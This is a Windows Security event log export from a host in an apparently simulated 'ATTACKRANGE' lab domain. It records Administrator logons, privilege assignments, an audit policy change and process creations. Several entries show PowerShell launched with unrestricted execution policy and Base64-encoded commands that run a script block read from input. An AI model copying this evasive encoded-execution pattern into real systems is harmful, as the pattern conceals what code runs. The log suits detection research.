	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245908
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245907
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245906
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3B84F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245905
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3B004

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245904
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39CFE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245903
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39863

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd68
	New Process Name:	C:\Windows\System32\auditpol.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc64
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	auditpol /get /r /subcategory:"Process Creation"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4719
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245902
Keywords=Audit Success
Message=System audit policy was changed.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39863

Audit Policy Change:
	Category:		Detailed Tracking
	Subcategory:		Process Creation
	Subcategory GUID:	{0CCE922B-69AE-11D9-BED3-505054503030}
	Changes:		Success Added, Failure added
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245901
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3B84F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245900
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3B84F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245899
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245898
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245940
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3D8BF

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245939
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3D8BF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245938
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245937
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245936
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfac
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245935
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe44
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245934
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3C28E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245933
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3C28E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245932
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245931
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245930
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfd8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245929
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfd8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xda0
